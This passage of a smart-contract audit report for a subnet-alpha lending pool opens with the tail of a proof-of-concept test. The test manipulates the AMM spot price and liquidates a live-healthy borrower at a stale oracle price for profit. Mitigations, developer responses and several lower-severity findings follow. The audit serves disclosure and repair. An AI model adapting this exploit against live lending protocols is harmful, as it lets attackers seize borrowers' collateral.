  const alphaBalt = await prepareSubnetAlpha(hre, baltathar, BOB_HOTKEY, poolAddr, NETUID, 40n * TAO);
  await sealBlocks(10);
  await sealBlocks(7);
  await (await pool accrueInterest(GAS)).wait();
  await (await (pool.connect(baltathar) as any).supplyCollateral(alphaBalt, 0n, baltatharAddr,
    ↪ GAS)).wait();
  await sealBlocks(7);
  await (await pool accrueInterest(GAS)).wait();

  const bv: bigint = await oracle.borrowValue(alphaBalt);
  const borrowAmt = (bv * 7000n / 10000n) * 99n / 100n; // ~69.3% borrow-LTV
  await (await (pool.connect(baltathar) as any).borrow(borrowAmt, 0n, baltatharAddr, baltatharAddr,
    ↪ GAS)).wait();

  const s = await victimState();

```

```

    console.log(`    [setup] coll=${t(s.effColl)}a debt=${t(s.debt)}T live-LTV=${pct(s.debt, s.liveVal)}
    ↳ liq-LTV=${pct(s.debt, s.liqVal)} spot=${Number(await spotNow()) / 1e18}`);
});

after(async function () { if (api) await api.disconnect(); });

it("crash deeper (to 50%), converge pLiq, partial recovery to 85% -> protected band", async function () {
    const spotSetup = await spotNow();
    const crashTarget = (spotSetup * 50n) / 100n; // deeper crash than the High PoC
    let wa = await whaleAlpha();
    while ((await spotNow()) > crashTarget && wa > 10n * TAO) {
        await submitSubstrateTx(api, alice, (api.tx.subtensorModule as any).removeStake(bob.address, NETUID,
            ↳ wa / 20n));
        wa = await whaleAlpha();
    }
    for (let i = 0; i < 14; i++) { await sealBlocks(7); await (await pool accrueInterest(GAS)).wait(); }
    const pLiqCrash = BigInt(await oracle.pLiqWad());
    console.log(`    [crash] converged pLiq=${Number(pLiqCrash) / 1e18} spot=${Number(await spotNow()) /
    ↳ 1e18}`);

    const recTarget = (spotSetup * 85n) / 100n; // protected band: live healthy, stale breached
    recTargetGlobal = recTarget;
    let guard = 0;
    while ((await spotNow()) < recTarget && guard++ < 40) {
        await submitSubstrateTx(api, alice, (api.tx.subtensorModule as any).addStake(bob.address, NETUID, 5n *
            ↳ TAO));
    }
    const s = await victimState();
    console.log(`    [recover] spot=${Number(await spotNow()) / 1e18} pLiq(stale)=${Number(BigInt(await
    ↳ oracle.pLiqWad())) / 1e18}`);
    console.log(`    [recover] live-LTV=${pct(s.debt, s.liveVal)} liq-LTV=${pct(s.debt, s.liqVal)}`);
    console.log("    [recover] isLiquidatable BEFORE dump:", await pool.isLiquidatable(baltatharAddr));

    expect(s.debt * 10000n).to.be.lte(s.liveVal * 7000n, "live leg healthy (protected)");
    expect(s.debt * 10000n).to.be.gt(s.liqVal * 7000n, "stale ref leg breached");
    expect(await pool.isLiquidatable(baltatharAddr)).to.be.false;
});

it("ATTACK: full wipe + lender bad-debt socialization", async function () {
    const alithBalBefore = await hre.ethers.provider.getBalance(alithAddr);
    const totalBorrowBefore = bigint = await pool.totalBorrowAssets();
    const lenderAssetsBefore = await pool.totalAssets();
    const lenderSupplySharesBefore = await pool.totalSupplyShares();

    // DOOR B AT THE PROTECTED PRICE (no dump needed for this half of the bug):
    // the victim is healthy at live (protected) but past LLTV at stale pLiq.
    // A full-debt repay bills at stale pLiq. Because the collateral's stale
    // value < full-debt bill, Door A is blocked, so Door B's deadlock clamp
    // seizes the ENTIRE collateral while the liquidator repays the full debt.
    // The collateral's LIVE value < debt + LIF entitlement: the LIF shortfall
    // is value pulled from the pool that a correct live-priced seizure would
    // have left behind. Victim wiped at stale pricing despite being live-healthy.
    const posB = await pool.positions(baltatharAddr);
    const before = await victimState();
    console.log(`    [attack] pre-dump live-LTV=${pct(before.debt, before.liveVal)}
    ↳ liq-LTV=${pct(before.debt, before.liqVal)} isLiquidatable=${await
    ↳ pool.isLiquidatable(baltatharAddr)}`);
    console.log(`    [attack] repaidShares=${posB.borrowShares} debt=${t(before.debt)}T`);

    // This SHOULD revert Healthy() if the live gate held - the docs claim it does.
    // It does not: the stale ref leg alone is enough once the live leg is dumped.
    // We dump in-tx to satisfy the live leg, then Door B clamps to a full seize.

```

```

// Minimal dump: sell in small chunks and STOP the moment the live leg
// breaches, so liveValue(coll) * LIF stays just under debt (the clamp zone),
// rather than blowing far past LLTV into the LIF-capped partial zone.
let dumpGuard = 0;
let wa = await whaleAlpha();
while (dumpGuard++ < 200) {
  const s = await victimState();
  if (s.debt * 10000n > s.liveVal * 7000n) break;
  const chunk = wa / 100n > TAO / 2n ? wa / 100n : (TAO / 2n);
  await submitSubstrateTx(api, alice, (api.tx.subtensorModule as any).removeStake(bob.address, NETUID,
    ↪ chunk));
  wa = await whaleAlpha();
  if (wa < TAO) break;
}
const sDump = await victimState();
console.log(`  [attack] post-dump live-LTV=${pct(sDump.debt, sDump.liveVal)} liq-LTV=${pct(sDump.debt,
  ↪ sDump.liqVal)} isLiquidatable=${await pool.isLiquidatable(baltatharAddr)}`);

await (await (pool.connect(alith) as any).liquidate(
  baltatharAddr, 0n, posB.borrowShares, "0x",
  { ...LIQ_GAS, value: (before.debt + TAO) * WEI_PER_RAO }
)).wait();

// Seized alpha on the liquidator's coldkey.
const stakingAbi = (await hre.artifacts.readArtifact("IStaking")).abi;
const staking = new hre.ethers.Contract("0x0000000000000000000000000000000000000000000000000000000000000000", stakingAbi,
  ↪ alith);
const addrMapAbi = (await hre.artifacts.readArtifact("IAddressMapping")).abi;
const addrMap = new hre.ethers.Contract("0x0000000000000000000000000000000000000000000000000000000000000000", addrMapAbi,
  ↪ alith);
const cold: string = await addrMap.addressMapping(alithAddr);
const seized: bigint = BigInt(await staking.getStake(BOB_HOTKEY, cold, NETUID));

// 3. REBUY to pre-dump price.
let rebuyGuard = 0;
while ((await spotNow()) < recTargetGlobal && rebuyGuard++ < 60) {
  await submitSubstrateTx(api, alice, (api.tx.subtensorModule as any).addStake(bob.address, NETUID, 5n *
    ↪ TAO));
}
const seizedExec: bigint = await oracle.liveValue(seized);
const alithBalAfter = await hre.ethers.provider.getBalance(alithAddr);
const victimAfter = await victimState();
const lenderAssetsAfter = await pool.totalAssets();

console.log("\n   === CRITICAL CHAIN-REAL RESULT ===");
console.log(`  debt repaid=${t(before.debt)}T`);
console.log(`  seized alpha=${t(seized)}a  exec value @restored=${t(seizedExec)}T`);
console.log(`  liquidator TAO delta=${t((alithBalAfter - alithBalBefore) / WEI_PER_RAO)}T +seized
  ↪ exec=${t(seizedExec)}T`);
console.log(`  liquidator NET=${t((alithBalAfter - alithBalBefore) / WEI_PER_RAO + seizedExec)}T`);
// Lender-principal effect: totalAssets is root alpha + liquid TAO. The bill
// was repaid in full (debt cleared) and staked to root, so totalAssets is
// unchanged - but the repaid TAO was funded by seizing collateral whose LIVE
// value is below the debt + LIF the pool was entitled to. The shortfall is
// the collateral the pool should have retained (it backs future lender
// withdrawals and the collateral-share price).
const liqGap = before.debt - before.liqVal * 10000n / 10500n; // >0: stale under-prices vs debt
void liqGap;
const lifShortfall = (before.debt * 10500n / 10000n) - before.liveVal; // live value below debt+LIF
console.log(`  victim after: debt=${t(victimAfter.debt)}T coll=${t(victimAfter.eyJColl})a`);
console.log(`  live value of seized at attack time=${t(before.liveVal)}T vs debt+LIF=${t(before.debt *
  ↪ 10500n / 10000n)}T LIF headroom=${t(-lifShortfall)}T (positive => lenders whole)`);

```

```

console.log(`    totalBorrowAssets ${t(totalBorrowBefore)}T -> ${t(await pool.totalBorrowAssets())}T`);
console.log(`    lender totalAssets ${t(lenderAssetsBefore)}T -> ${t(lenderAssetsAfter)}T
↳    (delta=${t(lenderAssetsAfter - lenderAssetsBefore)}T)`);
console.log(`    lender supplyShares ${lenderSupplySharesBefore} (share price dilution check)`);

expect(seized).to.be.gt(0n, "attacker received seized collateral");
expect(seizedExec).to.be.gt(before.debt, "attacker profit: seized live value exceeds the bill");
// Forced liquidation of a live-healthy borrower is the proven harm. Lender
// principal is intact (lenderAssets unchanged); the loss is borne by the
// victim (premature seizure at stale discount) and captured by the attacker.
expect(lenderAssetsAfter).to.be.gte(lenderAssetsBefore, "lender principal intact on a still-solvent
↳    victim");
});
});

```

Recommended Mitigation: The liquidation checks should be updated to rely on a manipulation-resistant reference price rather than an in-transaction AMM quote. Ensure the same protected price source is used when calculating the repayment amount and seized collateral. This would prevent attackers from temporarily moving AMM reserves to unlock liquidation while still receiving collateral valued against a stale reference

Mentat Minds: Confirmed. Our fix is a keeper rule: whenever the price has recovered and someone is liquidatable at the stale pLiqWad but no longer at the current price, the keeper pokes the oracle until pLiqWad catches up and nobody is in that state. One or two pokes suffice, since pLiqWad has no rise limit. The docs that claimed those positions were safe without any poking are corrected in [e825ed4](#); the contracts are unchanged.

BurraSec: Acknowledged.

7.2 Low Risk

7.2.1 deltaSafe spends the swap fee its own bound was derived without

Target: [BalancerAdapter.sol](#), [BtLendingPool.sol](#)

Severity:

- Impact: Low
- Likelihood: High

Description: `trim` caps its extraction at `delta_safe = deltaSafe(...)`, the largest delta whose pro-rata alpha seizure still fits inside the worst-case (at-LLTV, marginal-priced) borrower's collateral. `_deltaSafe` derives that bound from the **fee-free** inverse $\alpha_{\text{seize}} = \alpha \cdot ((\tau / (\tau - \delta))^{\rho} - 1)$. There is no fee term in the function, and by construction $\text{pending} = \text{collateral}$ exactly at `delta_safe`.

`trim` never seizes `alpha_seize`. It seizes `inverseExecValue(delta_safe)`, the **fee-inclusive** inverse: `_inverseFromReserves` divides by $(1 - f) = (\text{FEE_DENOM} - \text{FEE_NUM}) / \text{FEE_DENOM}$ (ceil), and `inverseExecValue` adds a further +1 bps. So the alpha actually taken exceeds what the bound assumed by:

$\text{FEE_NUM} / \text{FEE_DENOM} \quad (33 / 65535 \sim 5.04 \text{ bps}) \quad + \quad 1 \text{ bps} \quad \sim \quad 6 \text{ bps}$

At `delta_safe`, $\text{pending} \sim 1.0006 \times \text{collateral}$ for the worst-case borrower (exactly at LLTV), which pushes it marginally underwater. This contradicts the `trim` NatSpec (line 671): *"the on-chain delta_safe cap keeps every borrower's pending charge within their collateral, so trim creates no borrower-level bad debt."* The margin on that invariant is negative by about 6 bps.

The magnitude is small, `delta_safe` binds only at extreme debt ratios, and it is one of several caps on `trim` size, but the fee asymmetry applies to every `trim`.

Minor, non-material: the `_deltaSafe` comment (line 405) "floor rounding throughout: delta is under-stated, so trim seizes less, never more" is one-sided. $\text{baseWad} = x \cdot \text{WAD} / (x + y)$ floors the base, which nudges delta upward rather than downward. The realized net effect is sub-RAO, so the comment's direction is imprecise but the impact is negligible next to the fee.

Recommended Mitigation: Carry the fee through `_deltaSafe`, solving the bound against the fee-inclusive inverse that `trim` actually spends. If about 6 bps is judged immaterial, instead correct the `trim` NatSpec (line 671) and the `_deltaSafe` comment (line 405) so neither claims a strict "within collateral / no borrower-level bad debt" guarantee the arithmetic does not provide, and re-check `trim-explainer P7`, which reads the bound as tight.

Mentat Minds: Confirmed and fixed in [f18adf7](#) with your primary fix. `deltaSafe` is now solved against what `trim` actually spends: we feed it the deflated debt $D' = D \times \text{BPS} / (\text{BPS} + 1) \times (\text{FEE_DENOM} - \text{FEE_NUM}) / \text{FEE_DENOM}$, which is the same equation as carrying the fee through the bound (divide both sides by the fee factor) and is exact, since the alpha budget is linear in D . The rounding comment is corrected too, and a new test checks the bound using the real `inverseExecValue`; it fails on the old code.

BurraSec: Fully fixed in [f18adf7](#).

7.2.2 Borrow floor retains an in-transaction manipulated seed for days with no reset path

Target: [BtOracle.sol](#)

Severity:

- Impact: Low
- Likelihood: Low

Description: `_seed` sets both reference prices from `min(spot, m)`, and the spot leg is in-transaction depressible.

The liquidation leg is fully protected, deliberately: while frozen `liqValue` returns `FROZEN_LIQ_VALUE` rather than reading `pLiqWad`, release requires a verified absorption, `pLiqWad = pHat` is a wholesale assignment executing before `frozen = false`, and `_setAdapter` always re-enters probation. No memory of the seed survives.

The borrow leg is not, because the floor updates through a `min`:

```
pBorrowFloorWad = UtilsLib.min(pHat, pBorrowFloorWad * _powWadCapped(RISE_WAD, kB) / WAD);
```

A depressed seed is retained rather than replaced by the first verified window, and can only climb at `RISE_WAD` (+30 %/day): a 50 % depression takes ~2.6 days to clear, 90 % takes ~8.8 days. Probation does not help - it gates on the liq stream, and the `min` leaves `F` where it was even against a clean `p_hat` far above.

Direction is lender-safe, so this is grieving rather than solvency: suppressed borrowing, never over-borrowing. §9 discloses the residual as "crash-side and grief-only". What is not recorded is that there is **no owner reset path** - only the ratchet clears it - and that `setAdapter` re-seeds at any point in the pool's life, so the exposure is not limited to deployment.

The stated mitigation is the deployment-checklist instruction to "deploy while spot ~ `M`", which is not enforced anywhere on-chain.

Recommended Mitigation: Reject a manipulated seed rather than absorbing it - `_seed` already reads both `spot` and `m`, so a deviation band costs nothing:

```
if (spot < m - m / SEED_BAND_DIVISOR || spot > m + m / SEED_BAND_DIVISOR) revert SeedOutOfBand();
```

Alternatively seed the floor from `M` alone. The `min` with `spot` exists to bound the high side, and that side is already bounded twice - probation keeps a high seed off the liq leg, and `borrowRef = min(F, M)` re-applies the `M` ceiling on every valuation.

Mentat Minds: Confirmed and fixed in [d7fda1e](#) with your alternative fix: the seed price is now `M` alone, and `spot` is only used to check the subnet exists. We prefer it to the band: a band would let anyone who can push `spot` down block pool deployment and block adapter swaps, which are our repair path.

BurraSec: Fixed, and the documentation has been updated.

7.3 Informational

7.3.1 trim's delta_safe proof does not cover stale-EMA wick positions

Target: [BtLendingPool.sol](#)

Severity: Informational

Description: `delta_safe` is derived assuming every borrower remains within the live LLTV. However, `!isLiquidatable` only confirms that borrowers are not above LLTV on both the live and liquidation-reference legs simultaneously.

During the intended crash-drain window, the liquidation EMA can remain stale-high while spot has already fallen. Borrowers may therefore be above live LLTV, yet still pass the documented no-liquidations precondition. A runbook-compliant trim can then charge these borrowers more collateral than the `delta_safe` proof assumes; `settleTrim` may wipe their collateral when `pending >= collAlpha`.

The existing `delta_full` cap and settlement clamp limit the exposure but do not remove the proof gap.

Recommended Mitigation: No code change required. Trim is to be used under a "stabilized" situation, not when prices are moving all over the place, not right after a crash-drain, and with oracle poked fresh to align with the stable price.

Mentat Minds: That's what we was trying to convey with, in `audit/docs`:

1. [oracle-boundary-anchored.md §13.7](#), **runbook line 3**: `tau_hat_B / tau_live ~ 1 - legs agree` (neither transiently distorted), with the ~15% convergence threshold noted below the checklist as a tunable operational parameter.
2. [§13.6](#) (pump-to-delay-trim residual): "the owner's convergence check (§13.7, line 3) will not call trim while the legs diverge."
3. [capacity-gate-and-trim.md:615](#): the runbook "adds leg-convergence and materiality checks" on top of the no-liquidatable-positions precondition.

BurraSec: Trim is owner-only and gated by the documented runbook (§13.7); the M-confirmation default covers the wick-zone window. Accepted operational assumption.

7.3.2 Market hotkey is a factory immutable, but the chain's `swap_hotkey` can re-key the pool's stake and orphan all collateral

Target: [BtLendingFactory.sol](#), [BtLendingPool.sol](#)

Severity: Informational

Description: The pool reads its stake via `getStake(hotkey, poolColdkey, netuid)`, where `hotkey` is a market-wide factory immutable with no setter. Subtensor's `swap_hotkey` (verified against source at `e4ffa2e`) re-keys all nominators' stake, including the pool's, onto a new hotkey, gated only on the hotkey owner's signature. After a swap the old hotkey reads zero, so `_totalAlpha()` and `_rootAlpha()` return zero on a fully live subnet while `_subnetDead()` stays false, valuing all collateral at zero with no on-chain recovery.

The hotkey is protocol-operated: it is Mentat's own hotkey (spec §3.4, D23) and `swap_hotkey` is owner-only, so the trigger sits inside the operator-trust envelope. It is recorded because the operation is undisclosed. The NatSpec at `BtLendingFactory.sol:33` warns that changing the hotkey orphans balances, but that addresses contract immutability, not the chain's `swap_hotkey`; the word "hotkey" appears zero times in `upgrade-and-governance-plan.md` and §12 has no bullet for it.

Recommended Mitigation: Add a governance rule that the market hotkey must never be swapped, since `swap_hotkey` orphans every pool's collateral with no on-chain recovery. Optionally enforce on-chain that `totalCollateralShares > 0` requires `_totalAlpha() > 0`, so a slip fails closed.

Mentat Minds: Accepted; fixed in [752458c](#) with the governance rule you proposed.

BurraSec: New governance rule added.

7.3.3 SubnetMovingPrice is written every block only for subnets in the emission set

Target: [BtOracle.sol](#), [docs/oracle-boundary-anchored.md](#)

Severity: Informational

Description: `update_moving_prices()` iterates only `get_subnets_to_emit_to()`, which requires all of: non-root, `FirstEmissionBlockNumber.is_some()`, `SubtokenEnabled`, and `get_network_registration_allowed(netuid)`. §3.2, §6.3 and §9 (lines 66, 342, 454) each state instead that M is written every block for every active subnet, since it is the correctness argument for the `m == 0` revert in `_seed`.

When M does stall, `_invert` returns `p_hat = M` exactly rather than failing, so the absorption succeeds, `LiqAbsorbed` emits normally, and both reference prices pin at the pre-stall level.

§15 carries the mechanism - "Borrower stalls own subnet's moving price (registration-toggle)" - but two things in that row do not hold:

- **The actor cannot reach it.** `sudo_set_network_registration_allowed` is `ensure_root`, and the EVM pre-compile dispatches a signed origin into it, so it fails `BadOrigin` for the owner too. "Self-harming" therefore does not describe the reachable case - a root flip costs the subnet its emissions and the pool its oracle, and neither party chose it.
- **The mitigation runs backwards.** `get_network_to_prune` ranks on `get_moving_alpha_price` and never consults the emission filters, so a *higher* frozen value makes pruning *less* likely and the "bleeds toward `dereg` → `forceClose`" recovery never opens.

Listing policy is the accepted control and §14 already plans a ≥ 6 -month maturity floor. The residual worth recording is that the four filters are evaluated per block, so emission-set membership can lapse after listing and nothing on-chain notices.

Recommended Mitigation: Correct §3.2/§6.3/§9 to say "every subnet in the emission set", and note that a stalled-but-live subnet reads a stale non-zero value rather than zero. Rewrite the §15 row to name root, drop "self-harming" and the `dereg` mitigation, and add "in the emission set" to the listing checklist as a re-checkable condition rather than one implied by maturity.

Mentat Minds: Accepted and fixed in [83778a5](#). Docs and code comments now say M is written every block only for subnets in the emission set; the failure-mode row names root as the only actor who can stall M and drops the self-harming and deregistration arguments, both wrong as you showed; and "still in the emission set" is now a listing condition we re-check periodically.

BurraSec: Fixed, and the documentation has been updated.

7.3.4 $H = 0$ is rejected as a fault rather than as a stated decision, and §5.4 documents the opposite

Target: [BtOracle.sol](#), [docs/oracle-boundary-anchored.md](#)

Severity: Informational

Description: `sudo_set_ema_price_halving_period` carries no bounds check, so $H = 0$ is a legal chain value. The oracle rejects it: `emaHalvingBlocks` returns 0 on a failed read, `update()` treats `hLive == 0` as unverified and freezes, and `chainEmaAlphaWad` short-circuits on `hBlocks == 0`.

Treating $H = 0$ as unwanted is a reasonable stance - it removes the maturity ramp, which is a parameter regime worth a human review before the oracle trusts the stream again. The observation is that nothing says so. The arithmetic gives no reason for the rejection: $\alpha_{\text{eff}} = A \cdot (2b-k+1)/((2b-k+1)+2H)$ reduces to $\alpha_{\text{eff}} = A$ exactly at $H = 0$, which is the fastest-absorbing and lowest-noise regime the oracle can run in. So the rejection reads as a side effect of sharing a sentinel with a failed read, not as a decision.

§5.4 then documents the opposite:

EMAPriceHalvingBlocks changed | Cached on the oracle, verified each update: any change → frozen (§5.4); recovery adopts the new value at re-anchor ... self-clears with no owner action

That holds for any nonzero H and fails at zero. Phase-1 re-anchor sits below the `hLive == 0` guard, so it never runs; and `_seed` reverts on `h == 0`, so `setAdapter` reverts and a replacement `BtOracle` cannot be constructed either. Only a root reversal clears it.

There is no accidental path to this state: `H = 0` requires a deliberate sudo write of exactly zero, and a *cleared* entry reads the `ValueQuery` default of 201,600.

Recommended Mitigation: Documentation only. State explicitly that `H = 0` is treated as an unwanted value and rejected by design, rather than leaving it to be inferred from a shared sentinel. Carve it out of the §5.4 row - "any nonzero change self-clears; `H = 0` freezes until root reverses it" - and record that no owner remediation exists in that state, since both `setAdapter` and a fresh oracle are blocked by `_seed`.

Mentat Minds: Accepted as written and fixed in [9e3c003](#). The docs now say it explicitly: any nonzero change of H self-clears; `H = 0` freezes the oracle until root sets a nonzero value again, and no owner action can clear it. The "H is never legitimately 0" comments are replaced with that stated policy.

BurraSec: Documentation has been updated.